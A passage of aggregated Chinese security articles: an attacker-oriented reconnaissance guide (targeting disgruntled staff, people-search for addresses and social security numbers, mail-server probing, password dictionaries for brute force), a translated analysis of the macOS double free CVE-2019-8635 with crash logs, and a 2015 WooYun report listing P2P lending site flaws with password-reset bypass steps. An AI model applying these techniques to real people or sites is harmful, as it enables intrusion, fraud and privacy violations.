通过社交网站发现一些心怀不满的员工,和前雇员，这些人是一个不错的切入点通过这些不满的员工获取重要的信息还是比较靠谱的。以及关注高管或者网络管理员的社交账户发布的信息，可能他会在不经意间透漏一些比如防火墙型号，近期遇见的一些技术问题，这些对我们来说是很有用的。一下我主要贴一些国外的站点国内的大家应该都比较熟悉。
－－社交网站
<http://twitter.com>
<http://facebook.com>
myspace .com
<http://reunion.com>
<http://sina.com>
<http://instagram.com>
通过求职网站查询现在就职或者曾经就职的员工进行,信息搜集。
－－求职网站
<http://linkedin.com>
<http://plaxo.com>
可以通过查人网站查询一些详细的个人信息资料，这些网站可以查询到，家庭电话号码，家庭地址，社会保障号，信用记录等。掌握这些信息对apt攻击很有用。
－－查人网站
AMiner
Background Checks & Public Records
Tracking the entire world
Corporation Wiki - Find Connections between People and Companies
Free People Search
2.邮箱搜集
邮箱也可在求职网站进行搜集，但是似乎<http://groups.googole.com更好用一些，我经常用比如搜索泰国航空后缀的邮箱>
@<http://thaiairways.com> 可以查看到一些历史邮件内容。网站如下。
<https://groups.google.com/forum/#!search/@thaiairways.com$20>
从邮箱服务器获取信息
在渗透中通过直接与邮件服务器进行交互来获取更多信息，我们可以试探性的给目标发送一封空的邮件，或者是发送0kb的文件，或者是非恶意文件，比如计算器等正常的可执行文件，发送到目标服务器对邮件进行检测，可能会收到退信。这个退信肯能会包含很多信息，比如
杀软是什么，杀软版本号，电子邮件服务的型号品牌，服务器ip，软件版本，这些信息在漏洞利用的时候是很有用的。
3.代码泄漏
<http://github.com>
<http://code.google.com>
码云 - 开源中国代码托管平台
在以上3个站中搜索目标关键字由于开发人员的疏忽导致代码或者敏感信息泄漏参看如下实例
github-hacker之TCL一万五千多名员工信息泄漏（git泄密新场景） | WooYun-2015-141726 | WooYun.org
咕咚网github信息泄露 | WooYun-2016-177720 | WooYun.org
4.组建密码字典
通过以上步骤搜集到的信息 如 电话号码,邮箱id,用户id等信息组成字典，遇到登录的地方进行暴力破解
关于信息搜集就先写这些。下一节是扫描查点。 | 社区文章 |
# CVE-2019-8635：macOS提权及任意代码执行漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 trendmicro，文章来源：blog.trendmicro.com
原文地址：<https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-8635-double-free-vulnerability-in-apple-macos-lets-attackers-escalate-system-privileges-and-execute-arbitrary-code/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
我们在macOS中发现了一个双重释放（double
free）漏洞（编码为[CVE-2019-8635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8635)），该漏洞由AMD组件的内存破坏缺陷所导致。如果成功利用该漏洞，攻击者可以实现权限提升，以`root`权限在系统上执行恶意代码。我们向Apple反馈了漏洞情况，厂商后面也发布了相应[补丁](https://support.apple.com/en-us/HT210119)。
这个CVE编号实际上覆盖了两个缺陷：[discard_StretchTex2Tex](https://www.zerodayinitiative.com/advisories/ZDI-19-539/)方法以及`AMDRadeonX400_AMDSIGLContext`这个AMD
Radeon类中对边带令牌（sindeband
token）的[处理逻辑](https://www.zerodayinitiative.com/advisories/ZDI-19-543/)。`AMDRadeonX400_AMDSIGLContext`派生自`IOAccelGLContext2`类，而后者由`IOAccelContext2`类扩展而来。这些类用来在macOS主机上渲染图像。
漏洞位于`discard_StretchTex2Tex`以及`AMDSIGLContext::process_StretchTex2Tex`函数中，这两个函数是`AMDRadeonX4000_AMDSIGLContext`类的函数，我们可以使用`AMDRadeonX4000_AMDSIGLContext`
userclient以及selector
2对应的函数`IOAccelContext2::submit_data_buffers`来访问这个类，使用connect type
1来打开`AMDRadeonX4000_AMDGraphicsAccelerator`客户端。
## 0x01 AMDRadeonX4000_AMDSIGLContext discard_StretchTex2Tex双重释放权限提升漏洞
攻击者可以利用该漏洞在用户空间上执行代码。为了利用该漏洞，攻击者首先必须具备在目标macOS系统上执行低权限代码的能力。
该缺陷是因为系统没有对用户提供的数据进行适当的验证，导致读取操作超出已分配数据结构的末尾地址。攻击者可以利用这一点，再与其他漏洞结合起来，将权限提升至内核级别。
## 0x02 AMDRadeonX4000_AMDSIGLContext双重释放权限提升漏洞
同一个AMD类对边带令牌的处理过程中也存在一个双重释放漏洞。本地攻击者可以利用该漏洞在受影响的macOS上执行任意命令。与上一个漏洞一样，攻击者首先必须具备在目标系统上执行低权限代码的能力，才能进一步利用该漏洞。
虽然前一个漏洞位于`AMDRadeonX4000_AMDSIGLContext:discard_StretchTex2Tex`函数中，但这个漏洞位于`AMDRadeonX4000_AMDSIGLContext::process_StretchTex2Tex`函数中。漏洞成因在于系统在对目标对象执行操作前，没有去验证该对象是否存在。攻击者可以利用该漏洞将权限提升至内核级别。
从本质上讲，这两个漏洞在可能的利用途径方面比较相似，但在于具体利用的函数方面有所区别。
## 0x03 漏洞分析
图1. `AMDRadeonX4000_AMDSIGLContext:
discard_StretchTex2Tex`函数伪代码片段（上图），`AMDRadeonX4000_AMDSIGLContext::process_StretchTex2Tex`函数伪代码片段（下图）
如图1（上图）所示，如果`(cmdinfo+32)`等于`0x8c00`，那么`IOAccelResource`
`v10`以及`v11`都会从`IOAccelShared2`中取值，对应的索引分别为`*(shareMem_start_address_187_offset16+8)`
以及`*(shareMem_start_address_187_offset16+12)`。该函数随后会使用`IOAccelResource2::clientRelease()`函数来释放两个加速器资源。然而攻击者可以从用户空间中，通过内存映射，使用`IOAccelContext2`
userclient来直接控制这两个索引。如果用户空间为`lookupResource`函数映射相同的索引，那么`clientRelease`就会两次释放相同的资源客户端，此时就会出现双重释放漏洞。
如图1（下）所示，如果`v15`等于`0x8c00`，那么`accelResource_offset8`以及`accelResource_offset12`都会从`IOAccelShared2`中取值，以共享内存偏移24及28的值作为索引。最终，该函数会从`IOAccelShared2
_rst`释放`accelResource_offset12`，如果`accelResource_offset8->member2`不等于`10`，该函数也会从`IOAccelShared2`释放`accelResource_offset8`。然而将共享内存偏移24及28对应的值设成相同值，就会导致系统两次释放同一个`accelResource`。
在`process_StretchTex2Tex()`函数中，完成stretch操作时会使用`IOAccelResource2::clientRelease()`函数来释放两个资源客户端。然而，这两个`accelResource2`源自`AMDRadeonX4000_AMDSIGLContext`类中的`accelShare2`共享内存，使用对应的索引通过`IOAccelShared2::lookupResource`函数来获取。攻击者可以从用户空间中，通过`IOAccelContext2`用户客户端，利用内存映射来控制这些索引值。如果用户空间对`lookupResource`函数映射相同的索引，那么`clientRelease`就会两次释放相同的资源客户端，最终出现双重释放漏洞。
根据这两处代码执行流，共享内存地址指向的都是`commandStreamInfo +
24`。然而，`commandStreamInfo`缓冲区实际上在`IOAccelContext2::processSidebandBuffe`函数中设置，如下图所示。在图2中，`v5`指向的是`shareMem
+ 16`，而`this->member196`指向的是`commandStreamInfo + 24`。
图2. `IOAccelContext2::processSidebandBuffer`伪代码片段
`IOAccelContext2::clientMemoryForType`函数的伪代码片段如图3所示。该函数由已知的`IOConnectMapMemory64`
API来调用，而后者会将一个用户缓冲区映射到内核空间中。在使用`IOConnectMapMemory64`函数时，我们需要设置连接对象、内存类型以及其他一些参数。此处连接对象为`IOAccelContext2`的实例，内存类型为`0`，如图3所示。当我们将内存类型设置为`0`时，`clientMemoryForType`函数会创建一个缓冲区内存描述符，返回用户空间的起始地址。此外，该函数还会将缓冲区内存地址设置为`shareMem_start_vm_address_187`变量（我们设置的变量名，非原始代码使用的变量名），该变量实际上正是在`IOAccelContext2::processSidebandBuffer`函数中使用的值。
根据该代码流程，我们可以控制共享缓冲区，以类似的方式设置这两个资源索引，随后触发双重释放漏洞。
图3. `IOAccelContext2::clientMemoryForType`函数伪代码片段
应用崩溃日志中的回溯信息如下所示，其中如果使用`discard_StretchTex2Tex`函数，那么只有`AMDRadeonX4000`AMDRadeonX4000_AMDSIGLContext::process_StretchTex2Tex`以及`process_StretchTex2Tex(IOAccelCommandStreamInfo&)
+ 2893`函数偏移有所区别。
* thread #1, stop reason = signal SIGSTOP
frame #0: 0xffffff7f8d7adc37 IOAcceleratorFamily2`IOAccelResource2::clientRelease(IOAccelShared2*) + 13
frame #1: 0xffffff7f8d880dad AMDRadeonX4000`AMDRadeonX4000_AMDSIGLContext::process_StretchTex2Tex(IOAccelCommandStreamInfo&) + 2893
frame #2: 0xffffff7f8d79b5d5 IOAcceleratorFamily2`IOAccelContext2::processSidebandBuffer(IOAccelCommandDescriptor*, bool) + 273
frame #3: 0xffffff7f8d8885e4 AMDRadeonX4000`AMDRadeonX4000_AMDSIGLContext::processSidebandBuffer(IOAccelCommandDescriptor*, bool) + 182
frame #4: 0xffffff7f8d79bae7 IOAcceleratorFamily2`IOAccelContext2::processDataBuffers(unsigned int) + 85
frame #5: 0xffffff7f8d7a2380 IOAcceleratorFamily2`IOAccelGLContext2::processDataBuffers(unsigned int) + 804
frame #6: 0xffffff7f8d798c30 IOAcceleratorFamily2`IOAccelContext2::submit_data_buffers(IOAccelContextSubmitDataBuffersIn*, IOAccelContextSubmitDataBuffersOut*, unsigned long long, unsigned long long*) + 1208
frame #7: 0xffffff800b027a3c kernel.development`::shim_io_connect_method_structureI_structureO(method=, object=, input=, inputCount=, output=, outputCount=0xffffff8742023968) at IOUserClient.cpp:0 [opt]
frame #8: 0xffffff800b025ca0 kernel.development`IOUserClient::externalMethod(this=, selector=, args=0xffffff87420239b8, dispatch=0x0000000000000000, target=0x0000000000000000, reference=) at IOUserClient.cpp:5459 [opt]
*frame #9: 0xffffff800b02ebff kernel.development`::is_io_connect_method(connection=0xffffff80b094e000, selector=2, scalar_input=, scalar_inputCnt=, inband_input=, inband_inputCnt=136, ool_input=0, ool_input_size=0, inband_output=””, inband_outputCnt=0xffffff80b0d81e0c, scalar_output=0xffffff8742023ce0, scalar_outputCnt=0xffffff8742023cdc, ool_output=0, ool_output_size=0xffffff80ab5c7574) at IOUserClient.cpp:3994 [opt]
frame #10: 0xffffff7f913044c2
frame #11: 0xffffff800a9bbd64 kernel.development`_Xio_connect_method(InHeadP=, OutHeadP=0xffffff8742023ce0) at device_server.c:8379 [opt]
frame #12: 0xffffff800a88d27d kernel.development`ipc_kobject_server(request=0xffffff80ab5c7400, option=) at ipc_kobject.c:359 [opt]
frame #13: 0xffffff800a859465 kernel.development`ipc_kmsg_send(kmsg=0xffffff80ab5c7400, option=3, send_timeout=0) at ipc_kmsg.c:1832 [opt]
frame #14: 0xffffff800a878a75 kernel.development`mach_msg_overwrite_trap(args=) at mach_msg.c:549 [opt]
frame #15: 0xffffff800a9f63a3 kernel.development`mach_call_munger64(state=0xffffff80af471bc0) at bsd_i386.c:573 [opt]
frame #16: 0xffffff800a823486 kernel.development`hndl_mach_scall64 + 22
当Mac系统出现内核错误（kernel panic）时，panic文本会被添加到日志中。[kernel
panic](https://developer.apple.com/library/archive/technotes/tn2063/_index.html)指的是内核检测到的系统错误，根源在于内核代码中没有对处理器异常进行处理（比如引用了无效的内存地址，或者调用链中出现错误，可以对比用户空间代码检测到的错误）。panic日志如下所示：
panic(cpu 6 caller 0xffffff800aa1391c): Kernel trap at 0xffffff7f8d7adc37, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000018, CR3: 0x0000000fea85f063, CR4: 0x00000000001626e0
RAX: 0x0000000000000000, RBX: 0xffffff800b473e28, RCX: 0x00000000ffffffff, RDX: 0x0000000000000000
RSP: 0xffffff8742023610, RBP: 0xffffff8742023610, RSI: 0xffffff80b0f8e470, RDI: 0xffffff80afa29300
R8: 0x0000000000000229, R9: 0xffffff800b2c4d00, R10: 0xffffff800b2c2c70, R11: 0x0000000000000058
R12: 0xffffff87299cb9b4, R13: 0x0000000000000001, R14: 0xffffff80b094e608, R15: 0xffffff80b094e000
RFL: 0x0000000000010282, RIP: 0xffffff7f8d7adc37, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x0000000000000018, Error code: 0x0000000000000002, Fault CPU: 0x6, PL: 0, VF: 0
与此同时，寄存器调试信息中关于kernel panic的信息如下所示。`$r12`寄存器指向的是共享内存地址`+ 16`，资源索引值也为`0x42`。
(lldb) register read
General Purpose Registers:
rax = 0x0000000000000000
rbx = 0xffffff800b473e28 kernel.development`kdebug_enable
rcx = 0x00000000ffffffff
rdx = 0x0000000000000000
rdi = 0xffffff80afa29300
rsi = 0xffffff80b0f8e470
rbp = 0xffffff8742023610
rsp = 0xffffff8742023610
r8 = 0x0000000000000229
r9 = 0xffffff800b2c4d00 kernel.development`zone_array + 8336
r10 = 0xffffff800b2c2c70 kernel.development`zone_array
r11 = 0x0000000000000058
r12 = 0xffffff87299cb9b4
r13 = 0x0000000000000001
r14 = 0xffffff80b094e608
r15 = 0xffffff80b094e000
rip = 0xffffff7f8d7adc37 IOAcceleratorFamily2`IOAccelResource2::clientRelease(IOAccelShared2*) + 13
rflags = 0x0000000000010282
cs = 0x0000000000000008
fs = 0x00000000ffff0000
gs = 0x00000000afa20000
(lldb) x/20g $r12
0xffffff87299cb9b4: 0x00000364001a8c00 0x0000004200000042
0xffffff87299cb9c4: 0x0000104000000101 0x0055550000900002
0xffffff87299cb9d4: 0x0004000800040008 0x1048000000010001
0xffffff87299cb9e4: 0x0055560000900002 0x0002000800020008
0xffffff87299cb9f4: 0x0000000000010001 0x0000000000000000
0xffffff87299cba04: 0x0000000400000004 0x0000000000000000
0xffffff87299cba14: 0x0000000200000002 0x00000364001a8c00
0xffffff87299cba24: 0x0000004200000042 0x0000104800000101
0xffffff87299cba34: 0x0055560000900002 0x0002000800020008
0xffffff87299cba44: 0x1050000000010001 0x0055570000900002
## 0x04 缓解措施
攻击者可以使用双重释放漏洞来攻击未打补丁的macOS系统，成功在目标主机上获取较高权限。Apple已推出安全补丁，改进内存处理机制来修复内存破坏问题。macOS
Mojave 10.14.4已经可以使用最新补丁，大家应当尽快[更新](https://support.apple.com/en-us/HT210119)系统。此外，大家也可以安装类似[Trend Micro Antivirus for
Mac](https://www.trendmicro.com/en_us/forHome/products/antivirus-for-mac.html)以及[Trend Micro Protection
Suites](https://www.trendmicro.com/en_us/business/products/user-protection.html)之类的解决方案来检测并阻止使用利用各种缺陷的攻击行为。 | 社区文章 |
# 乌云爆告-2015年P2P金融网站安全漏洞分析报告
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/news/8705>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 P2P安全二三事**
前言
当金融和互联网相遇，会有着怎样的化学反应？
2015年6月底，全国共有3547家网贷平台，纳入中国P2P网贷指数统计的P2P网贷平台约为2553家，全国P2P网贷平台平均注册资本为2468万元。
然而，互联网在为金融行业带来飞速发展的机会和空间的同时，却也因为网络应用的不断深入，带来了一堆隐藏在光亮前景背后的安全问题。
2015年8月7日，乌云平台白帽子发现帝友P2P借贷系统全局问题造成多处注入，可到后台拿shell，分析数据库，已注入出后台管理员明文密码。
8月8日，知名P2P平台借贷系统贷齐乐被发现多处SQL注入可影响大量P2P网贷站点，白帽子还提供了多达100+的案例以证明危害范围之广。两天后，也就是8月10日，乌云平台上又爆出贷齐乐出现某处设计缺陷导致大面积注入以及几处高权限SQL注入。
帝友和贷齐乐借贷系统可以说是现在P2P行业两大主流借贷系统，据统计，现在全国百分之七十以上的借贷网站都是用贷齐乐系统搭建的，并且在今年中国最大的投资理财产品点评平台76676发起的“最安全P2P网贷系统”的投票评选活动中，以3372票的高票数稳居第一，占据了总票数的35%，帝友借贷系统也经常出现在P2P平台上，也就是说这两个系统一旦出现安全问题，将会危机到一大片P2P借贷网站。
根据世界反黑客组织的最新通报，中国P2P已经成为全世界黑客宰割的羔羊。而资金安全应当占据P2P行业安全的首要位置，本期的乌云爆告就将从网络安全技术角度，以数据和实际案例为你分析和解读P2P行业潜藏的资金安全隐患。
**数据说话**
据乌云漏洞收集平台的数据显示，自2014年至今，平台收到的有关P2P行业漏洞总数为402个，2015年上半年累计235个，仅上半年就比去年一年增长了40.7%。
2014年至2015年8月乌云漏洞报告平台P2P行业漏洞数量统计（单位：个）
在2014年至今的402个漏洞中，有可能影响到资金安全的漏洞就占了漏洞总数量的39%。2015年上半年中，对资金有危害的漏洞就占了今年P2P漏洞总数的43%。
数字会说话，从以上数据我们可以看出：
（1）2015年仅上半年的P2P金融行业漏洞数量就比2014年全年增长了40.7%；
（2）P2P行业漏洞中，高危漏洞占了很大比例，达到56.2%之多；
（3）2014年至今可能影响到资金安全的漏洞共同占了漏洞总量的46.2%，该情况在2015年依旧没有得到很好的解决，2015年上半年这样的漏洞的数量依旧占了上半年漏洞总数的44.3%，只增未减；
以上P2P行业漏洞涉及到93家厂商，其中不乏很多知名的P2P网贷平台，在此就不一一列举了。
机遇和风险并行，P2P行业在飞速发展的同时，面临的安全挑战也是非常严峻的。
Sablog作者4ngel（真名：谭登元）于2014年1月29日因通过侵入他人计算机系统，骗取多家P2P平台大量现金被逮捕，并在2015的6月25日被法院做出了终审判决，以诈骗罪分别判处郎小龙有期徒刑十一年，并处罚金人民币五十万元；判处谭登元有期徒刑五年，并处罚金人民币十万元；将郎小龙、谭登元退缴的全部犯罪所得，发还相应被害公司。
谭登元曾被称为WebShell三剑客的PHPSPY的作者，安全天使站长，对安全行业曾有过较大贡献。但在2013年8月到10月之间，谭登元却同另一名黑客郎小龙侵入了多家P2P平台。他们两个分工明确，由谭登元非法侵入被害单位的网站，取得被害单位网站的后台管理系统权限，并将权限发送给郎小龙，郎小龙则用获取到的权限篡改网站投资客户的姓名、身份证号、资金记录、银行卡号等原始数据后登陆网站系统申请提现，骗取被害单位向郎小龙控制的多个账户转账。通过这样的手段，两人一共骗取人民币共计1572356.15元。
**他们危害的公司名单如下：**
郑州树诚科技有限公司——中原贷
浙江华良投资管理有限公司——爱贷网
南宁安铎尔金融信息服务有限公司——紫金贷
浙江涌润投资管理有限公司——涌金贷
深圳旺金金融信息服务有限公司——融信财富
东莞市巨印实业投资有限公司——和诚
南京明宝堂金融信息服务有限公司——保险贷
淮安市融鑫金融信息咨询有限公司——乾坤贷
杭州浙优民间资本理财服务有限公司——一诚贷
从这个血淋淋的真实Case里，我们可以正面感受到P2P面临的网络安全风险挑战有多严峻。也许一个小的失误，就能造成一笔巨大的损失。本次的乌云爆告宗旨其实也是想要让大家正视P2P行业阳光背后的阴影，发现问题，及时止损。
**0x01 你的资金还安全吗？**
既然要带大家发现P2P行业背后隐藏的问题，那么接下来我们就继续用真实案例说话，带你直击P2P行业资金的薄弱之处，案例中选了几家排名靠前的知名P2P平台，以它们为镜，正视行业安全现状。以下所有案例均为乌云平台已通知厂商进行修复并公开的漏洞。
**宜人贷**
宜人贷是宜信公司于2012年推出的，在网贷之家P2P平台排行榜中位列第三。宜信公司作为国内最大的互联网金融企业之一，树大招风，旗下产品自然会比较引人关注。
WooYun-2015-112228
宜人贷某处配置不当可导致数据库账号密码等敏感信息泄露
这是一个因为应用配置错误造成svn泄漏，从而导致数据库帐号密码等敏感信息泄漏。SVN是Subversion的简称，是一个开放源代码的版本管理工具。
从可直接访问到的svn处，所有PHP文件都可以下载查看源代码，配置文件中还泄漏了内网地址、数据库帐号密码等敏感信息。
当内网地址、数据库帐号密码都被知晓了，那网站资金是不是也面临着巨大的威胁呢？
**小编说**
：从厂商的回复中可以得到，这是由于研发私自修改Nginx目录限制导致该漏洞的，虽然这个漏洞中，白帽子没有进行深入的渗透，但是的确泄漏了很重要的敏感信息，你永远不知道这些信息在黑产的手中可以挖掘出怎样巨大的利益。
WooYun-2015-114030
某处处缺陷导致奇葩登录逻辑、爆破、恶意绑定等缺陷
在宜人贷某处可以免密码登录，随便输入一个工号就可以登录。
登录之后可以将未绑定帐号的内部帐号绑到自己的账户上，然后等待奖励分钱。
**小编说**
:在测试过程中，白帽子将一个内部员工的帐号绑定到了自己的账户上，这样可以等待内部员工奖励了。总觉得和钱扯上关系的每一个点都应该被注意，哪怕只是很微小的一个地方，这样低级的逻辑错误更应该积极避免。
**翼龙贷**
翼龙贷网成立于2007年，总部位于北京，目前已在全国一百多个地级市设立运营中心，覆盖上千个区、县及近万个乡镇，并将在全国众多的一、二线城市建立全国性的服务网络，在网贷之家P2P平台排行榜中位列第十三。
WooYun-2015-128134
翼龙贷网某处运维不当可影响（账户安全）
这是一个openssl心脏滴血漏洞，可获取用户完整的cookie，间接影响用户账户安全、资金安全。
每次重放cookie都不一样，谁在线就能抓谁的了。
登陆口的也可以抓到。
**小编说** ：心脏滴血漏洞从2014年4月7日在程序员Sean
Cassidy的博客上被公开到现在，也是有很长一段时间了，但网站却没有及时地打上补丁，造成用户完整cookie的泄漏，间接地影响了用户账户安全、资金安全，这样的情况可以说是网站管理者的疏忽，但P2P行业作为一个金融行业，在安全上又怎么能有半点马虎呢？毕竟也许还有很多我们没有发现的“P2Pの终结者”正躲在暗处伺机而动。
WooYun-2015-124387
翼龙贷漏洞礼包（敏感信息泄露和密码重置漏洞）
一个通过找回密码发现的安全漏洞。
通过找回密码，抓包可以看到用户邮箱、余额、手机号、ID等敏感信息。
只是泄漏敏感信息就完了么？然而并不是，到这里还没完。利用Email和ID，我们还可以重置用户的密码。
首先用攻击者的帐号进行重置密码的操作，到输入新密码的页面停住；
然后利用受害者的邮箱进行重置密码的操作；
接着回到攻击者帐号重置密码的页面，输入新的密码，提交后拦截请求，将请求中的Email和ID处修改成受害者的Email和ID，之后发送请求，即可重置被害者帐号密码。
**小编说**
：在这个漏洞里面，翼龙贷网站出现了两个失误，一是在找回密码的返回包中泄漏了用户敏感信息，为攻击者后来的重置其他用户的密码操作提供了重要信息（Email和ID），二是cookie没有和用户绑定对应，这样可不可以理解为cookie的作用并没有被发挥出来呢？从最后的图中我们可以看到，用户的账户里还是有不少余额的，如果因为网站的安全问题造成用户的损失，那网站在用户心中的信任度是不是也会跟着下降呢？
WooYun-2015-119527
p2p之翼龙网贷再次严重设计缺陷影响任意用户账号安全
这是一个因为考虑不够完全造成的漏洞。
翼龙贷手机客户端中通过邮件找回密码时，验证码明文出现在返回包中
返回包中包含的验证码是不是和邮件中的验证码一模一样呢？
**小编说**
：网站在开发此功能时，是不是忘记数据包是可以被黑客们轻而易举地拦截到的呢？当重置密码的验证码明文出现在返回包中时，验证码的作用也就被抹杀掉了，重置别人的密码变得如此简单，你怕不怕？
通过乌云平台上收集到的漏洞看来，翼龙贷在安全方面还需要更加谨慎一点，这里小编就只举了三个翼龙贷的案例，都是能够触及到用户密码、cookie等敏感信息的漏洞，而从漏洞成因看来，以上三个漏洞基本都是因为网站管理者或者开发者在对待安全时不够谨慎，考虑不够深入全面而造成的。就乌云平台上收集到的漏洞看来，翼龙贷在安全方面存在的问题还是比较多的，更需要多加重视与投入。互联网金融行业作为黑客眼中的一大肥羊，怎么可以在安全方面掉以轻心呢？
**搜易贷**
搜易贷是搜狐集团旗下的互联网金融平台，由搜狐畅游CEO何捷于2014年4月创办，2014年9月2日搜易贷正式上线，在网贷之家P2P平台排行榜中位列第三十九。
WooYun-2015-111101
p2p金融安全之搜易贷某处严重逻辑漏洞(影响用户资金安全)
这是一处因为设计缺陷/逻辑错误而造成的密码重置漏洞，可以说是一个很奇葩的逻辑，下面用流程图来解释这个漏洞。
简单来说，就是攻击者拿着自己密码重置的凭证重置了别人的密码，这是一个一看就是错误的逻辑，但从乌云平台收集的漏洞看，这样的漏洞不止拍拍贷有，在其它P2P平台也存在着这样的错误逻辑。这里列举几个其他借贷平台相同或相似逻辑的漏洞：
WooYun-2015-113309
p2p金融安全之金海贷任意用户密码重置
WooYun-2015-127897
P2P之和信贷存在设计缺陷可再次重置任意用户密码
WooYun-2015-120673
和信贷设置不当影响用户资金安全
WooYun-2015-101028
拍拍贷任意用户密码重置漏洞（非爆破真实账号演示）
**小编说**
：从漏洞详情中不难看出，和搜易贷出现的类似的逻辑漏洞不是唯一的，就连位于网贷之家P2P排行榜第12名的和信贷也不止一次地出现这个问题，前面出现的翼龙贷的重置密码漏洞（WooYun-2015-124387）也可以算做此类问题，都是攻击者拿着自己的凭证重置了别人的密码。用户账户密码都被重置了，那资金还会安全吗？建议开发人员在开发的过程中要注意“应该怎样保证cookie等可以重置密码的凭证与用户之间的对应关系”这样的问题，不然一不小心就会出现这样的神逻辑漏洞呢。
有利网
有利网是2013年2月25日上线的，目前在网贷之家P2P排行榜中位列第九名。
WooYun-2014-89313
有利网某业务逻辑漏洞导致可无限刷红包(红包可用于投资)
这个漏洞白帽子给了一个这样的标签——有利网刷钱漏洞，和钱直白地扯上了关系。 该漏洞利用了有利网注册可获50元红包和可以任意手机号注册两个条件，结合Burp
Suite修改响应包的内容，可以实现无限获得50元的新手红包。
**小编说**
：这个漏洞利用起来比较麻烦，需要一次一次修改响应包的内容，但是在金钱诱惑下，这些麻烦又算什么呢？虽然最后厂商判定该漏洞无影响，但真的没有影响吗？别的P2P平台是否也存在相同的问题呢？
WooYun-2013-21722
[有利网 也可以任意用户密码重置][31]
在有利网密码重置链接中，某个参数由于设置过于简单，且发送请求时无次数限制，可以通过爆破重置任意用户密码。
**小编说**
：又是一个密码重置的漏洞。在整理P2P漏洞的过程中，小编发现重置用户密码似乎变成了一件很简单的事情。密码对于作为互联网用户，来说，其实是一个心理保障，尤其当用户的资金和互联网相关联的时候，密码其实给了用户一个心理上的可信任因素，如果被攻击者重置密码变成一件很简单的事，那对用户对于互联网的信任是不是有很大的影响呢？这样是否会间接影响到P2P平台的发展呢？
**易贷网**
易贷网正式开通于2009年1月，是比较早期的互联网借贷平台，截止2010年1月，网站的日PV量就突破了20万，目前位列网贷之家P2P平台排行榜第十。然而这样一家大型的P2P借贷平台，也存在着不可忽视的安全问题。
WooYun-2015-125376
易贷网核心业务文件包含可shell影响所有用户资金安全
易贷网存在任意文件包含，包含配置文件可以读到物理路径，注册一个用户上传图片，图片中插入一句话即可getshell，然后可以接触到十几万的用户数据，当然有用户帐号密码这些跟资金相关的敏感数据。
**小编说**
：文件包含漏洞是由于在引入文件时，对传入的文件名没有经过合理的校验，或者校验被绕过，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。这是否也是安全上的疏忽呢？当用户帐号密码被泄漏的时候，P2P平台还可以给用户怎样的资金安全保障呢？所以P2P平台在面对安全挑战时，是不是应该更加小心谨慎一点呢？
WooYun-2015-125371
易贷网核心业务注入可影响用户资金安全
易贷网也会存在SQL注入，通过一个注入，可以导致所有用户信息泄漏，包括账户名和密码。
**小编说**
：SQL注入是一种经久不衰的姿势，虽然从爆发到现在已经很长时间了，但大大小小的网站依然可能存在着这个问题。安全有时候就是这么不可掉以轻心，sql注入是直接能够影响用户资金以及引起个人信息泄露的主要原因之一，一个注入点导致用户帐号密码泄漏这样的漏洞，并不会是个案。
**和信贷**
和信贷成立于2013年8月18日，目前位列网贷P2P平台的第十二位。
WooYun-2015-114207
p2p金融安全之和信贷任意用户密码重置(一)
这个漏洞是由于没有对重置密码时应输入的短信验证码进行校验而导致的。
正常的重置密码流程如下：
1.输入要找回的用户帐号，输入图形验证码，下一步；
2.点击发送短信验证码，用户手机收到验证码；
3.填入短信验证码，点击下一步；
4.开始重置密码。
但由于第第三步存在问题，没有对验证码进行有效验证，所以可以直接绕过第三步，攻击流程如下：
1.输入图形验证码，下一步；
2.点击发送短信验证码，用户手机收到验证码；
3.直接访问正常流程中第四步的URL进行密码重置。
也就是说只要完成正常流程中的第一步和第二步，然后直接访问重置密码的链接：https://member.hexindai.com/password/rest.html即可顺利重置用户密码。
**小编说**
：从漏洞详情中我们不难看出，短信验证码在这里根本不起什么作用，那么设置短信验证码的初衷是什么呢？这可以说是一个很简单的漏洞，但是危害却很大。金融安全中，应该保证所设置的每一个验证步骤都发挥了自己的作用，不要丢三落四喔。
WooYun-2015-114209
p2p金融安全之和信贷任意用户密码重置(二)
仍旧是密码找回的问题，当重置密码遇上Burp Suite，不够谨慎的开发就很容易造成问题。
正常的邮箱找回密码流程如下：
1.输入用户名，输入图片验证码，下一步；
2.点击邮箱方式找回密码，会自动往绑定的邮箱中发送一份邮件;
3.打开邮件中重置密码的URL进行密码重置。
但由于设计缺陷，重置任意用户密码时不需要知道用户邮箱收到的具体重置密码的URL，攻击方法如下：
1.随意输入一存在的用户帐号，输入图形验证码，下一步；
2.点击重新发送，抓包，如图：
Burp中拦截带的响应包内容
收到的重置密码的URL
**小编说**
：这么重要的重置密码的URL怎么可以包含在可以被截获的cookie中呢？可以重置用户密码的凭证是不是应该更加注重保密性呢？还是那句话，安全是从点滴小事累积起来的，不可以掉以轻心。
**福利Tips**
虽然只是列举了一些知名P2P金融平台的漏洞，但是从例子和乌云收到的P2P金融漏洞看，会发现重置密码还是占了很大比例的。是什么让重置密码变得如此简单？有白帽子为我们整理了一些常见的重置密码漏洞，并对其进行了分析：http://drops.wooyun.org/papers/2035
一般的密码重置设计都是分为以下四步：
1.输入账户名
2.验证身份
3.重置密码
4.完成
重置密码的漏洞基本会分为三类：
爆破类型
秒改类型
需要与人交互类型
爆破类型
这种类型的重置密码漏洞是最多见最容易出现的一类，其中还分为手机验证码爆破和邮箱验证码爆破两种。
爆破手机验证码
这种设计一般是在找回密码的时候，会给指定的手机号发送一个用于验证身份的验证码，然后只要用户输入正确的验证码，就可以进行密码重置了。
这种设计产生重置密码漏洞的情况，一般是由于验证设计过于简单，而且对校验码的校验使用次数没有进行限制，导致正确的验证码可以被枚举爆破，从而重置密码。此方法也是最常见的重置密码的方式，因为大多数厂商最开始的设置都是采取的4-6位纯数字验证码的验证方式，而且是没有防止爆破的设计，例如限制次数等。
爆破邮箱验证码
这这种设计一般是在找回密码的时候，会给指定邮箱发送一个用于校验的url链接，链接中一般会有一个参数就是用于验证身份的验证码，然后用户点击指定url就可以进入重置密码的页面从而去重置密码了。
